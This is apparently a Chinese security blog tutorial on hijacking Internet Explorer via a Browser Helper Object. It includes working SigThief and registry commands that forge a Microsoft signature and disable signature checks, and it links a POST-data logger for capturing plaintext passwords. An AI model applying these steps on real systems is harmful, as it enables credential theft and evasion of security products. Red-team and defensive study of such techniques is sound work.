利用BHO实现IE浏览器劫持

关注 2018-05-22 18:18:16 查看数 7009 ,评论数 0 技术控

0x00 前言

本文源于一个隐蔽连接的测试,模拟IE浏览器发起网络连接,能绕过某些防护产品拦截发起网络连接的第三方程序 模拟IE浏览器发起网络连接的方法有很多种,其中,利用BHO劫持IE浏览器存在诸多优点(开放接口、简单高效、功能丰富等),所以本文将要介绍BHO的开发和劫持利用思路

0x01 简介

本文将要介绍以下内容:
  • BHO简介
  • 开发BHO
  • 利用思路
  • 实际测试
  • 防御

0x02 BHO简介

BHO,全称Browser Helper Object(浏览器辅助对象) 微软推出的作为浏览器对第三方程序员开放交互接口的业界标准 BHO的作用:
  • 获取浏览器行为,如“后退”、“前进”、“当前页面”等
  • 控制浏览器行为,如修改替换浏览器工具栏,添加自己的程序按钮等
BHO依托于浏览器主窗口, 与浏览器实例生命周期一致,即浏览器页面打开时BHO对象运行,页面关闭时随之结束 使用BHO时需要注册,相当于写入注册表,位于HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects{GUID}HKEY_CLASSES_ROOTCLSID{GUID}

0x03 开发BHO

本节仅作简要介绍 开发工具: VS2012

1、生成dll

新建-Visual C++-ATL 添加--ATL-ATL简单对象,设定简称为HelloWorldBHO,选中IObjectWithSite(IE对象支持) 修改以下文件:
  • HelloWorldBHO.h
  • HelloWorldBHO.cpp
  • dllmain.cpp
  • HelloWorld.rgs
注: 详情可参考http://blog.csdn.net/feier7501/article/details/11266345 helloworld.rgs内保存BHO的GUID,如下图 Alt text HelloWorldBHO.rgs内保存BHO的名称,如下图 Alt text helloworld.rc内的CompanyName代表发行者,PRODUCTVERSION代表版本,如下图 Alt text 注: 以上三个图对应下文加载项的显示信息 HelloWorldBHO.cpp保存IE浏览器中不同事件对应的操作,这里仅介绍一段实例代码(详细代码参照开源工程),实现当页面加载完成时,弹框显示当前URL,关键代码如下:
void STDMETHODCALLTYPE CHelloWorldBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)  
{  
    BSTR url = pvarURL->bstrVal;
	CComBSTR u(url);
	// Retrieve the top-level window from the site.  
    HWND hwnd;  
    HRESULT hr = m_spWebBrowser->get_HWND((LONG_PTR*)&hwnd);  
    if (SUCCEEDED(hr))  
    {  
        MessageBox(0, u, L"the url is", MB_OK);
    }  
} 
编译生成helloworld.dll 注: 如果VS2012不是管理员权限,编译时提示无法注册,接下来可以手动注册

2、注册dll

需要管理员权限,命令如下:
regsve32 helloworld.dll /s
注: /s参数用来去掉注册成功的提示框 相当于写入注册表,位于HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects{GUID}HKEY_CLASSES_ROOTCLSID{GUID} 补充: 卸载dll:
regsve32 helloworld.dll /s /u
或者删除对应的注册表键值

0x04 实际测试

测试系统: Win 7x86 IE8 打开IE浏览器,弹出对话框,显示当前URL,如下图 Alt text 查看IE的加载项,位于工具-管理加载项,获得加载项信息,如下图 Alt text 其中的名称、发行者、版本可通过前文的helloworld.rgs、HelloWorldBHO.rgs、helloworld.rc指定,文件日期对应dll的修改时间 由于我们自己生成的dll没有微软签名,所以显示未验证

0x05 利用思路

1、伪造微软签名,隐藏BHO

向helloworld.dll添加微软的Authenticode签名,修改注册表劫持系统的签名验证功能,使签名生效 可参考之前的文章: 《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》 需要使用Microsoft Corporation的签名,可在Office文件中获得,可用的路径: C:Program FilesMicrosoft OfficeOffice14URLREDIR.DLL 使用SigThief添加签名,下载地址:
https://github.com/secretsquirrel/SigThief
参数:
sigthief.py -i "C:Program FilesMicrosoft OfficeOffice14URLREDIR.DLL" -t helloworld.dll -o new.dll 
生成new.dll 修改注册表,劫持签名签证功能: (管理员权限)
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:WindowsSystem32ntdll.dll" /f
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f
注册dll,重新打开IE,查看加载项,验证通过,如下图 Alt text 注: 修改BHO的信息能够进一步隐藏BHO

2、抓取浏览器POST数据,记录明文口令

抓取浏览器POST数据的开源代码可从github获得,参考地址:
https://github.com/liigo/bho
在BeforeNavigate2事件前抓取浏览器的POST数据 我在自己的工程中直接引用了其中的关键函数: STDMETHODIMP CBhoApp::Invoke(DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT *pvarResult, EXCEPINFO *pExcepInfo, UINT *puArgErr) 添加函数声明,实现记录日志的功能 注: GetTempPath获取当前系统的Temp目录,IE权限下实际的路径为%Temp%Low 完整代码已开源,地址如下:
https://github.com/3gstudent/IE-BHO-POSTdata-Logger
抓取浏览器POST数据,能够获得用户输入的明文口令,例如github的登录密码,如下图 Alt text

3、下载文件

通过这种方式下载文件,防火墙软件的管理端显示下载文件的程序为IE浏览器,能够在一定程度上实现隐藏

4、在IE页面注入js

可参考以下开源工程做进一步修改:
https://github.com/xiyiaoo/BHO
本文不做进一步介绍

5、补充

默认BHO的权限为low,所以在操作上会有一些限制,如果通过其他方式获得了高权限,那么可供利用的方式会更多

0x06 防御检测

防御: BHO利用的前提是需要获得系统的管理员权限 检测:
  • 查看IE浏览器中的加载项
  • 查看IE进程加载的dll

0x07 小结

本文介绍了IE浏览器辅助对象BHO的开发方法,分析了在获得系统管理员权限后的利用思路,部分利用技术点到为止
交流评论(0)
Loading...
点击 ,就能发表评论哦~如果您还没有账号,请 一个吧
css.php
正在加载中...